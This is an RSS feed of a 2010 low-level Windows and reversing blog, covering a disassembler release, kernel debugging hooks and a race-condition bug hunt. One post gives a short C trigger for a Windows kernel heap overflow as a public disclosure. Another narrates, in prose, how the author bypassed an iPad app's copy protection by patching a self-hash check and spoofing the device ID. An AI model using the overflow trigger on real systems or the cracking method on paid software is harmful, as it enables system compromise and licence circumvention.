<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Insanely Low-Level</title>
	
	<link>http://www.ragestorm.net/blogs</link>
	<description>An Arkon Blog</description>
	<lastBuildDate>Mon, 16 Aug 2010 12:41:17 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/InsanelyLow-level" /><feedburner:info uri="insanelylow-level" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><feedburner:browserFriendly></feedburner:browserFriendly><item>
		<title>diStorm3 is Ready</title>
		<link>http://www.ragestorm.net/blogs/?p=264</link>
		<comments>http://www.ragestorm.net/blogs/?p=264#comments</comments>
		<pubDate>Mon, 16 Aug 2010 11:20:58 +0000</pubDate>
		<dc:creator>arkon</dc:creator>
				<category><![CDATA[Assembly]]></category>
		<category><![CDATA[Code Analysis]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[diStorm]]></category>
		<category><![CDATA[disassembler library]]></category>
		<category><![CDATA[Disassembling]]></category>
		<category><![CDATA[disassembly]]></category>
		<category><![CDATA[distorm3]]></category>
		<category><![CDATA[distorm64]]></category>

		<guid isPermaLink="false">http://www.ragestorm.net/blogs/?p=264</guid>
		<description><![CDATA[diStorm3 is ready for the masses! 
- if you want to maximize the information you get from a single instruction; Structure output rather than text, flow control analysis support and more!
Check it out now at its new google page.
Good luck!
]]></description>
			<content:encoded><![CDATA[<p>diStorm3 is ready for the masses! <img src='http://www.ragestorm.net/blogs/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
- if you want to maximize the information you get from a single instruction; Structure output rather than text, flow control analysis support and more!</p>
<p>Check it out now at its new <a href="http://code.google.com/p/distorm">google page</a>.</p>
<p>Good luck!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ragestorm.net/blogs/?feed=rss2&amp;p=264</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Heapos Forever</title>
		<link>http://www.ragestorm.net/blogs/?p=255</link>
		<comments>http://www.ragestorm.net/blogs/?p=255#comments</comments>
		<pubDate>Fri, 06 Aug 2010 13:02:23 +0000</pubDate>
		<dc:creator>arkon</dc:creator>
				<category><![CDATA[Assembly]]></category>
		<category><![CDATA[Debugging]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Win32]]></category>
		<category><![CDATA[Heap overflow]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[Windows Kernel]]></category>

		<guid isPermaLink="false">http://www.ragestorm.net/blogs/?p=255</guid>
		<description><![CDATA[There are still hippos around us, beware:

Kernel heap overflow.

DEVMODE dm = &#123;0&#125;;
dm.dmSize &#160;= sizeof&#40;DEVMODE&#41;;
dm.dmBitsPerPel = 8;
dm.dmPelsWidth = 800;
dm.dmPelsHeight = 600;
dm.dmFields = DM_PELSWIDTH &#124; DM_PELSHEIGHT &#124; DM_BITSPERPEL;
ChangeDisplaySettings&#40;&#38;dm, 0&#41;;
BITMAPINFOHEADER bmih = &#123;0&#125;;
bmih.biClrUsed = 0&#215;200;
HGLOBAL h = GlobalAlloc&#40;GMEM_FIXED, 0&#215;1000&#41;;
memcpy&#40;&#40;PVOID&#41;GlobalLock&#40;h&#41;, &#38;bmih, sizeof&#40;bmih&#41;&#41;;
GlobalUnlock&#40;h&#41;;
OpenClipboard&#40;NULL&#41;;
SetClipboardData&#40;CF_DIBV5, &#40;HANDLE&#41;h&#41;;
CloseClipboard&#40;&#41;;
OpenClipboard&#40;NULL&#41;;
GetClipboardData&#40;CF_PALETTE&#41;;

[Update, 11th Aug]: Here is MSRC response.

]]></description>
			<content:encoded><![CDATA[<p>There are still hippos around us, beware:<br />
<img src="http://www.ragestorm.net/blogs/wp-content/uploads/hippo.png" alt="heapo" /></p>
<p>Kernel heap overflow.</p>
<div class="dean_ch" style="white-space: wrap;">
DEVMODE dm = <span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span>;<br />
dm.<span class="me1">dmSize</span> &nbsp;= <span class="kw4">sizeof</span><span class="br0">&#40;</span>DEVMODE<span class="br0">&#41;</span>;<br />
dm.<span class="me1">dmBitsPerPel</span> = <span class="nu0">8</span>;<br />
dm.<span class="me1">dmPelsWidth</span> = <span class="nu0">800</span>;<br />
dm.<span class="me1">dmPelsHeight</span> = <span class="nu0">600</span>;<br />
dm.<span class="me1">dmFields</span> = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;<br />
ChangeDisplaySettings<span class="br0">&#40;</span>&amp;dm, <span class="nu0">0</span><span class="br0">&#41;</span>;</p>
<p>BITMAPINFOHEADER bmih = <span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span>;<br />
bmih.<span class="me1">biClrUsed</span> = 0&#215;200;</p>
<p>HGLOBAL h = GlobalAlloc<span class="br0">&#40;</span>GMEM_FIXED, 0&#215;1000<span class="br0">&#41;</span>;<br />
memcpy<span class="br0">&#40;</span><span class="br0">&#40;</span>PVOID<span class="br0">&#41;</span>GlobalLock<span class="br0">&#40;</span>h<span class="br0">&#41;</span>, &amp;bmih, <span class="kw4">sizeof</span><span class="br0">&#40;</span>bmih<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
GlobalUnlock<span class="br0">&#40;</span>h<span class="br0">&#41;</span>;</p>
<p>OpenClipboard<span class="br0">&#40;</span><span class="kw2">NULL</span><span class="br0">&#41;</span>;<br />
SetClipboardData<span class="br0">&#40;</span>CF_DIBV5, <span class="br0">&#40;</span>HANDLE<span class="br0">&#41;</span>h<span class="br0">&#41;</span>;<br />
CloseClipboard<span class="br0">&#40;</span><span class="br0">&#41;</span>;</p>
<p>OpenClipboard<span class="br0">&#40;</span><span class="kw2">NULL</span><span class="br0">&#41;</span>;<br />
GetClipboardData<span class="br0">&#40;</span>CF_PALETTE<span class="br0">&#41;</span>;</div>
<p><strong><br />
[Update, 11th Aug]: Here is MSRC <a href="http://blogs.technet.com/b/msrc/archive/2010/08/10/update-on-the-publicly-disclosed-win32k-sys-eop-vulnerability.aspx">response</a>.<br />
</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ragestorm.net/blogs/?feed=rss2&amp;p=255</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Custom Kernel Debugging is Faster</title>
		<link>http://www.ragestorm.net/blogs/?p=252</link>
		<comments>http://www.ragestorm.net/blogs/?p=252#comments</comments>
		<pubDate>Tue, 20 Jul 2010 11:00:30 +0000</pubDate>
		<dc:creator>arkon</dc:creator>
				<category><![CDATA[Assembly]]></category>
		<category><![CDATA[Code Analysis]]></category>
		<category><![CDATA[Debugging]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[OS Dev]]></category>
		<category><![CDATA[Patching]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.ragestorm.net/blogs/?p=252</guid>
		<description><![CDATA[When you start to write a post you always get a problem with the headline for the post. You need to find something that will, in a few words, sum it up for the reader. I was wondering which one is better, &#8220;Boosting WinDbg&#8221;, &#8220;Faster Kernel Debugging in WinDbg&#8221;, &#8220;Hacking WinDbg&#8221; and so on. But [...]]]></description>
			<content:encoded><![CDATA[<p>When you start to write a post you always get a problem with the headline for the post. You need to find something that will, in a few words, sum it up for the reader. I was wondering which one is better, &#8220;Boosting WinDbg&#8221;, &#8220;Faster Kernel Debugging in WinDbg&#8221;, &#8220;Hacking WinDbg&#8221; and so on. But they might be not accurate, and once you will read the post you won&#8217;t find them appropriate. But instead of talking about meta-post issues, let&#8217;s get going.</p>
<p>Two posts ago, I was talking about <a href="http://www.ragestorm.net/blogs/?p=245">hunting a specific race condition</a> bug we had in some software I work on. At last, I have free time to write this post and get into some interesting details about Windows Kernel and Debugging.</p>
<p>First I want to say that I got really pissed off that I couldn&#8217;t hunt the bug we had in the software like a normal human being, that Jond and I had to do it the lame old school way, which takes more time, lots of time. What really bothered me is that computers are fast and so is debugging, at least, should be. Why the heck do I have to sit down in front of the computer, not mentioning &#8211; trying to dupe the damned bug, and only then manage to debug it and see what&#8217;s going on wrong. Unacceptable. You might say, write a better code in the first place, I agree, but even then people have bugs, and will have, forever, and I was called to simply help.</p>
<p>Suppose we want to set a breakpoint on memory access this time, but something more complicated with conditions. The reason we need a condition, rather than a normal breakpoint is because the memory we want to monitor gets accessed thousands times per second, in my case with the race condition, for instance.<br />
You&#8217;re even welcome to make the following test locally on your computer, fire up Visual Studio, and test the following code: unsigned int counter = 1; while (counter < 99999999+1) { counter++; }, set a memory access breakpoint on counter which stops when hit count reach 99999999, and time the whole process, and then time it without the bp set, and compare the result, what's the ratio you got? Isn't that just crazy?</p>
<p>Here's an example in WinDbg's syntax, would be something like this:<br />
ba w4 0x491004 "j (poi(0x491004)==0) 'gc'"<br />
Which reads: break on write access for an integer at address 0x491004 only if its value is 0, otherwise continue execution. </p>
<p>It will be tens-thousands times faster without the bp set, hence the debugging infrastructure, even locally (usermode), is slowing things down seriously.<br />
And think that you want to debug something similar on a remote machine, it's impossible, you are going to wait years in vain for something to happen on that machine. Think of all the COM/Pipe/USB/whatever-protocol messages that have to be transmitted back and forth the debugged machine to the debugger. And add to that the conditional breakpoint we set, someone has to see whether the condition is true or false and continue execution accordingly. And even if you use great tools like VirtualKD.</p>
<p>Suppose you set a breakpoint on a given address, what really happens once the processor executes the instruction at that address? Obviously a lot, but I am going to talk about Windows Kernel point of view.<br />
Let's start bottom up, Interrupt #3 is being raised by the processor which ran that thread, which halts execution of the thread and transfers control _KiTrap3 in ntoskrnl. _KiTrap3 will build a context for the trapped thread, with all registers and this likely info and call CommonDispatchException with code 0x80000003 (to denote a breakpoint exception). Since the 'exception-raising' is common, everybody uses it, in other exceptions as well. CommonDispatchException calls _KiDispatchException. And _KiDispatchException is really the brain behind all the Windows-Exception mechanism. I'm not going to cover normal exception handling in Windows, which is very interesting in its own. So far nothing is new here. But we're getting to this function because it has something to do with debugging, it checks whether the _KdDebuggerEnabled is set and eventually it will call _KiDebugRoutine if it's set as well. Note that _KiDebugRoutine is a pointer to a function that gets set when the machine is debug-enabled. This is where we are going to get into business later, so as you can see the kernel has some minimal infrastructure to support kernel debugging with lots of functionality, many functions in ntoskrnl which start in "kdp", like KdpReadPhysicalMemory, KdpSetContext and many others. Eventually the controlling machine that uses WinDbg, has to speak to the remote machine using some protocol named KdCom, there's a KDCOM.DLL which is responsible for all of it.</p>
<p>Now, once we set a breakpoint in WinDbg, I don't know <i>exactly</i> what happens, but I guess it&#8217;s something like this: it stores the bp in some internal table locally, then sends it to the debugged machine using this KdCom protocol, the other machine receives the command and sets the breakpoint locally. Then when the bp occurs, eventually WinDbg gets an event that describes the debug event from the other machine. Then it needs to know what to do with this bp according to the dude who debugs the machine. So much going on for what looks like a simple breakpoint. The process is very similar for single stepping as well, though sending a different exception code.</p>
<p>The problem with conditional breakpoints is that they are being tested for the condition locally, on the WinDbg machine, not on the server, so to speak. I agree it&#8217;s a fine design for Windows, after all, Windows wasn&#8217;t meant to be an uber debugging infrastructure, but an operating system. So having a kernel debugging builtin we should say thanks&#8230; So no complaints on the design, and yet something has to be done.</p>
<p>Custom Debugging to our call!</p>
<p>That&#8217;s the reason I decided to describe above how the debugging mechanism works in the kernel, so we know where we can intervene that process and do something useful. Since we want to do smart debugging, we have to use conditional breakpoints, otherwise in critical variables that get touched every now and then, we will have to hit F5 (&#8216;go&#8217;) all the time, and the application we are debugging won&#8217;t get time to process. That&#8217;s clear. Next thing we realized is that the condition tests are being done locally on our machine, the one that runs WinDbg. That&#8217;s not ok, here&#8217;s the trick:<br />
I wrote a driver that replaces (hooks) the _KiDebugRoutine with my own function, which checks for the exception code, then examines the context according to my condition and only then sends the event to WinDbg on the other machine, or simply &#8220;continues-execution&#8221;, thus the whole technique happens on the debugged machine without sending a single message outside (regarding the bp we set), unless that condition is true, and that&#8217;s why everything is thousands of times or so faster, which is now acceptable and usable. Luckily, we only need to replace a pointer to a function and using very simple tests we get the ability to filter exceptions on spot. Although we need to get our hands dirty with touching Debug-Registers and the context of the trapping thread, but that&#8217;s a win, after all.</p>
<p>Here&#8217;s the debug routine I used to experiment this issue (using constants tough):</p>
<div class="dean_ch" style="white-space: wrap;">
<span class="kw4">int</span> __stdcall my_debug<span class="br0">&#40;</span>IN PVOID TrapFrame,<br />
&nbsp; &nbsp; &nbsp; &nbsp; IN PVOID Reserved,<br />
&nbsp; &nbsp; &nbsp; &nbsp; IN PEXCEPTION_RECORD ExceptionRecord,<br />
&nbsp; &nbsp; &nbsp; &nbsp; IN PCONTEXT Context,<br />
&nbsp; &nbsp; &nbsp; &nbsp; IN KPROCESSOR_MODE PreviousMode,<br />
&nbsp; &nbsp; &nbsp; &nbsp; IN UCHAR LastChance<span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; ULONG _dr6, _dr0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; __asm <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov eax, dr6<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov _dr6, eax<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov eax, dr0<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov _dr0, eax<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="br0">&#40;</span>ExceptionRecord-&gt;ExceptionCode == 0&#215;80000003<span class="br0">&#41;</span> &amp;&amp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span>_dr6 &amp; 0xf<span class="br0">&#41;</span> &amp;&amp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span>_dr0 == MY_WANTED_POINTER<span class="br0">&#41;</span> &amp;&amp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#40;</span>ExceptionRecord-&gt;ExceptionAddress != MY_WANTED_EIP<span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">1</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> old_debug_routine<span class="br0">&#40;</span>TrapFrame, Reserved, ExceptionRecord, Context, PreviousMode, LastChance<span class="br0">&#41;</span>;<br />
<span class="br0">&#125;</span><br />
&nbsp;</div>
<p>This routine checks when a breakpoint interrupt happened and stops the thread only if the pointer I wanted to monitor was accessed from a given address, else it would resume running that thread. This is where you go custom, and write whatever crazy condition you are up to. Using up to 4 breakpoints, that&#8217;s the processor limit for hardware breakpoints. Also checking out which thread or process trapped, etc. using the Kernel APIs&#8230; It just reminds me &#8220;compiled sprites&#8221; <img src='http://www.ragestorm.net/blogs/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I was assuming that there&#8217;s only one bp set on the machine which is the one I set through WinDbg, though this time, there was no necessity to set a conditional breakpoint in WinDbg itself, since we filter them using our own routine, and once WinDbg gets the event it will stop and let us act.</p>
<p>For some reason I had a problem with accessing the DRs from the Context structure, I didn&#8217;t try too hard, so I just backed to use them directly because I can.</p>
<p>Of course, doing what I did is not anything close to production quality, it was only a proof of concept, and it worked well. Next time that I will find myself in a weird bug hunting, I will know that I can draw this weapon.<br />
I&#8217;m not sure how many people are interested in such things, but I thought it might help someone out there, I wish one day someone would write an open source WinDbg plugin that injects kernel code through WinDbg to the debugged machine that sets this routine with its custom runtime conditional breakpoints <img src='http://www.ragestorm.net/blogs/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I really wanted to paint some stupid pictures that show what&#8217;s going on between the two machines and everything, but my capabilities at doing that are aweful, so it&#8217;s up to you to imagine that, sorry.</p>
<p>For more related information you can see:<br />
<a href="http://uninformed.org/index.cgi?v=8&#038;a=2&#038;p=16">http://uninformed.org/index.cgi?v=8&#038;a=2&#038;p=16</a><br />
<a href="http://www.vsj.co.uk/articles/display.asp?id=265">http://www.vsj.co.uk/articles/display.asp?id=265</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ragestorm.net/blogs/?feed=rss2&amp;p=252</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Cracking for Fun and Non-Profit</title>
		<link>http://www.ragestorm.net/blogs/?p=248</link>
		<comments>http://www.ragestorm.net/blogs/?p=248#comments</comments>
		<pubDate>Sun, 23 May 2010 00:39:02 +0000</pubDate>
		<dc:creator>arkon</dc:creator>
				<category><![CDATA[Assembly]]></category>
		<category><![CDATA[Code Analysis]]></category>
		<category><![CDATA[Patching]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[appstore]]></category>
		<category><![CDATA[Binary Patching]]></category>
		<category><![CDATA[Cracking]]></category>
		<category><![CDATA[Disassembling]]></category>
		<category><![CDATA[iPad]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[Jailbreak]]></category>
		<category><![CDATA[Reverse Engineering]]></category>

		<guid isPermaLink="false">http://www.ragestorm.net/blogs/?p=248</guid>
		<description><![CDATA[One of the fun things to do with applications is to bypass their copy-protection mechanisms. So I want to share my experience about some iPad application, though the application is targeted for the Jailbroken devices. It all began a few days ago, when a friend was challenging me to crack some application. I had my [...]]]></description>
			<content:encoded><![CDATA[<p>One of the fun things to do with applications is to bypass their copy-protection mechanisms. So I want to share my experience about some iPad application, though the application is targeted for the Jailbroken devices. It all began a few days ago, when a friend was challenging me to crack some application. I had my motives, and I&#8217;m not going to talk about them. However, that&#8217;s why the title says non-profit. Or maybe when they always say &#8220;for profit&#8221; they mean the technical-knowledge profit.</p>
<p>So before you start to crack some application, what you should do is see how it works, what happens when you run it, what GUI related stuff you can see, like dialog boxes or messages that popup, upon some event you fire. There are so many techniques to approach application-cracking, but I&#8217;m not here to write a tutorial, just to talk a bit about what I did.</p>
<p>So I fired IDA with the app loaded, the app was quite small, around 35kb. First thing I was doing was to see the imported functions. This is how I know what I&#8217;m going to fight with in one glare. I saw MD5/RSA imported from the crypto library, and that was like &#8220;oh uh&#8221;, but no drama. Thing is, my friend purchased the app and gave me the license file. Obviously it&#8217;s easier with a license file, otherwise, sometimes it&#8217;s proved that it&#8217;s impossible to crack software without critical info that is encrypted in the license file, that was the issue in my case too. Of course, there&#8217;s no point in a license file that only checks the serial-number or something like that, because it&#8217;s not enough. So without the license file, there wasn&#8217;t much to do.</p>
<p>For some reason IDA didn&#8217;t like to parse the app well, so I had to recall how to use this ugly API of IDC (the internal scripting language of IDA), yes, I know IDA Python, but didn&#8217;t want to use it. So my script was fixing all LDR instructions, cause the code is PICy so with the strings revealed I could easily follow all those ugly objc_msgSend calls. For Apple&#8217;s credit, the messages are text based, so it&#8217;s easy to understand what&#8217;s going on, once you manage to get to that string. For performance&#8217;s sake, this is so lame, I rather use integers than strings, com&#8217;on.</p>
<p>Luckily the developer of that app didn&#8217;t bother to hide the exported list of functions, he was busy with pure protection algorithm in Objective-C, good for me.<br />
So eventually the way the app worked (license perspective) was to check if the license file exists, if so, parse it. Otherwise, ask for a permission to connect to the Internet and send the UDID (unique device ID) of the device to the app&#8217;s server, get a response, and if the status code was success, write it to a file, then run the license validator again.</p>
<p>The license validator was quite cool, it was calling dladdr on itself to get the full path of the executable itself, then calculating the MD5 of the binary. Can you see why? So if you thought you could easily tamper with the file, you were wrong. Taking the MD5 hash, and xoring it in some pattern with the data from the license file; Then decrypting the result with the public key that was in the static segment, though I didn&#8217;t care much about it. Since the MD5 of the binary itself was used, this dependency is a very clever trick of the developer, though expected. So I tried to learn more about how the protection works.</p>
<p>Suppose the license was legit, the app would take that buffer and strtok() it to tokens, to check that the UDID was correct. The developer was nice enough to call the lockdownd APIs directly, so in one second I knew where and what was going on around it. In the beginning I wanted to create a proxy dylib for this lockdownd library, but it would require me to patch the header of the mach-o so the imported function will be through my new file &#8211; but it still requires a change to the file, no good. So the way it worked with the decrypted string &#8211; it kept on tokenizing the string, but this time, it checked for some string match, as if someone tampered with the binary, the decryption would go wrong and the string wouldn&#8217;t compare well. And then it did some manipulation on some object, adding methods to it in runtime, with the names from the tokenized string, thus if you don&#8217;t have a license file to begin with, you don&#8217;t know the names of the new methods that were added. One star for the developer, yipi.</p>
<p>All in all, I have to say that I wasn&#8217;t using any debugger or runtime tricks, everything was static reversing, yikes. Therefore, after I was convinced that I can&#8217;t <i>ignore</i> the protection because I lack of the names of the new methods, and I can&#8217;t use a debugger to <i>phish</i> the names easily. I was left with one solution, as I said before &#8211; faking the UDID and fixing the MD5.</p>
<p>What I really cared about for a start, was how the app calculates the MD5 of itself:<br />
Since the developer retrieved the name of the binary using dladdr, I couldn&#8217;t just change some path to point to the <i>original</i> copy of the binary, so when it hashes it, it would get the expected hash. That was a bammer, I had to do something else, but similar idea&#8230; I decided to patch the file-open function. The library functions are called in ARM mode and it&#8217;s very clear. The app itself was in THUMB, so it transitions to ARM using a BX instruction and calls a thunk, that in order will call the imported function. So the thunk function is in ARM mode, thus 4 bytes per instruction, very wasteful IMHO.</p>
<p>The goal of my patches was to patch those thunks, rather than all the <i>callers</i> to those thunks. Cause I could end up with a dozen of different places to patch. So I was limited in the patches I could do in a way. So eventually I extended the thunk of the file-open and made R0 register point to my controlled path, where I could guarantee an original copy of the binary, so when it calculated the MD5 of it, it would be the expected hash. Again, I could do so many other things, like planting a new MD5 value in the binary and copy it in the MD5-Final API call, but that required too much code changes. And oh yes, I&#8217;m such a jackass that I didn&#8217;t even use an Arm-assembler. Pfft, hex-editing FTW <img src='http://www.ragestorm.net/blogs/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  Oh also, I have to comment that it was safe to patch the thunk of file-open, cause all the callers were related to the MD5 hashing&#8230;</p>
<p>Ok, so now I got the MD5 good and I could patch the file however I saw fit. Patching the UDID-strcmp&#8217;s wasn&#8217;t enough, since the license wasn&#8217;t a &#8220;yes/no&#8221; check, it had essential data I needed, otherwise I could finish with the protection in 1 minute patch (without going to the MD5 hassle). So I didn&#8217;t even touch those strcmp&#8217;s.</p>
<p>RSA encryption then? Ahhh not so fast, the developer was decrypting the xored license with the resulted MD5 hash, then comparing the UDID, so I got the license decrypted well with the MD5 patch, but now the UDID that was returned from the lockdownd was wrong, wrong because it wasn&#8217;t corresponding to the purchased license. So I had to change it as well. The problem with that UDID and the lockdownd API, is that it returns a CFSTR, so I had to wrap it with that annoying structure. That done, I patched the thunk of the lockdown API to simply return my CFSTR of the needed UDID string.</p>
<p>And guess what?? it crashed <img src='http://www.ragestorm.net/blogs/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  I put my extra code in a __ustring segment, in the beginning I thought the segment wasn&#8217;t executable, because it&#8217;s a data. But I tried to run something very basic that would work for sure, and it did, so I understood the problem was with my patch. So I had to double check it. Then I found out that I was piggy-backing on the wrong (existing) CFSTR, because I changed its type. Probably some code that was using the patched CFSTR was expecting a different type and therefore crashed, so I piggy-backed a different CFSTR that wouldn&#8217;t harm the application and was a similar type to what I needed (Just a string, 0&#215;7c8). What don&#8217;t we do when we don&#8217;t have segment slacks for our patch code. <img src='http://www.ragestorm.net/blogs/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>And then it worked&#8230; how surprising, NOT. But it required lots of trial and errors, mind you, because lack of tools mostly.<br />
End of story.<br />
It&#8217;s really hard to say how I would design it better, when I had my chance, I was crazy about obfuscation, to make the reverser desperate, so he can&#8217;t see a <i>single</i> API call, no strings, nothing. Plant decoy strings, code, functionality, so he wastes more time. Since it&#8217;s always possible to bypass the protections, if the CPU can do it, I can do it too, right? (as long as I&#8217;m on the same ring).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ragestorm.net/blogs/?feed=rss2&amp;p=248</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Ending The Race (Condition)</title>
		<link>http://www.ragestorm.net/blogs/?p=245</link>
		<comments>http://www.ragestorm.net/blogs/?p=245#comments</comments>
		<pubDate>Fri, 23 Apr 2010 21:31:23 +0000</pubDate>
		<dc:creator>arkon</dc:creator>
				<category><![CDATA[Code Analysis]]></category>
		<category><![CDATA[Debugging]]></category>
		<category><![CDATA[OS Dev]]></category>
		<category><![CDATA[Reversing]]></category>

		<guid isPermaLink="false">http://www.ragestorm.net/blogs/?p=245</guid>
		<description><![CDATA[After talking to my co-worker, Jond, he agreed that I will write about him too. Actually we were working on solving that race condition together.
So everything I told you in the last post was in a timeline of around 15 hours, almost consecutive, where Jond and I were debugging the system and trying to track [...]]]></description>
			<content:encoded><![CDATA[<p>After talking to my co-worker, Jond, he agreed that I will write about him too. Actually we were working on solving that race condition together.<br />
So everything I told you in the last <a href="http://www.ragestorm.net/blogs/?p=243">post</a> was in a timeline of around 15 hours, almost consecutive, where Jond and I were debugging the system and trying to track down the bass-turd. So it was around 6 am in the morning, after we had a few hooks on the critsec acquire and leave functions in the kernel. But the log looked fine and this is where I decided to call it a night and went home to sleep a bit. Jond decided to continue, the problem with us, is that we take bugs personally. So he got the logs better and wrote some Python script to analyze it. I was too lazy to do that earlier, I decided to analyze manually once, it is the excuse that if we do it only once, writing a script might take longer. I was wrong. Pity. Then, according to Jond&#8217;s story, he actually saw something wrong in the log, at f@cking last. So I&#8217;m not sure about the small details, but he noticed that the critsec was entered twice or something imaginary like that from different threads, obvisouly. And that time he knew he nailed the guy down.</p>
<p>There are not many options, once you see that the other &#8216;waiters&#8217; don&#8217;t wait when some guy holds it, right? So he looked at the code again, and yet it looked fine! Now he decided it&#8217;s time to act upon &#8220;WTF is going on&#8221;, and he did the following experiment, trying to acquire the critsec in a <i>loop</i> (he didn&#8217;t really need a loop, but after you&#8217;re going insane&#8230; so he had to write something that totally looks like &#8220;I GOT THE CRIT&#8221; &#8211; or not). And to his surprise other threads continued to work normally as if there was no lock. As if huh. Soooo, this is going to be embarrassing a bit. And then he found out that the call to the critsec acquire function wasn&#8217;t correct. It was missing a dereference to a pointer. A single character, you got it right. To make it clearer, he saw something like Enter-Crit (m_ptr), instead of Enter-Crit(*m_ptr), which is a pointer to a pointer of an ERESOURCE.<br />
So obviously, the the lock wasn&#8217;t acquired at all, for some odd reason it aligned well in the logs we analyzed together, until he improved the logs and found a quirk. A question I asked myself, after we knew what was the bug, is that we gave it some garbage pointer, instead of an ERESOURCE, so the function obviously failed all the times we called it. But how come we didn&#8217;t think of testing the return value even though we knew the lock didn&#8217;t work? I guess it has something to do that nobody ever checks the return value of &#8220;acquire&#8221; crit-sec, even in MS code&#8230; Bad practice? Not sure, what can you do if you want the lock, and can&#8217;t get it? It means one thing, that you have a bug, otherwise it should wait on the lock&#8230; So it&#8217;s the kind of stuff nobody checks anyway, but maybe a line of ASSERT could help. Oh well, next time.</p>
<p>That was it, kinda nasty, it always come down to something stupid at the end, no? <img src='http://www.ragestorm.net/blogs/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /><br />
Now it leaves me totally with that breakpoint we couldn&#8217;t do because the system was too slow with it, and I will write about it next week.<br />
See you then.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ragestorm.net/blogs/?feed=rss2&amp;p=245</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Race Condition From Hell, aren’t they all?</title>
		<link>http://www.ragestorm.net/blogs/?p=243</link>
		<comments>http://www.ragestorm.net/blogs/?p=243#comments</comments>
		<pubDate>Mon, 19 Apr 2010 09:03:52 +0000</pubDate>
		<dc:creator>arkon</dc:creator>
				<category><![CDATA[Assembly]]></category>
		<category><![CDATA[Code Analysis]]></category>
		<category><![CDATA[Debugging]]></category>
		<category><![CDATA[OS Dev]]></category>
		<category><![CDATA[Patching]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Win32]]></category>
		<category><![CDATA[Crash Dump]]></category>
		<category><![CDATA[Critical Section]]></category>
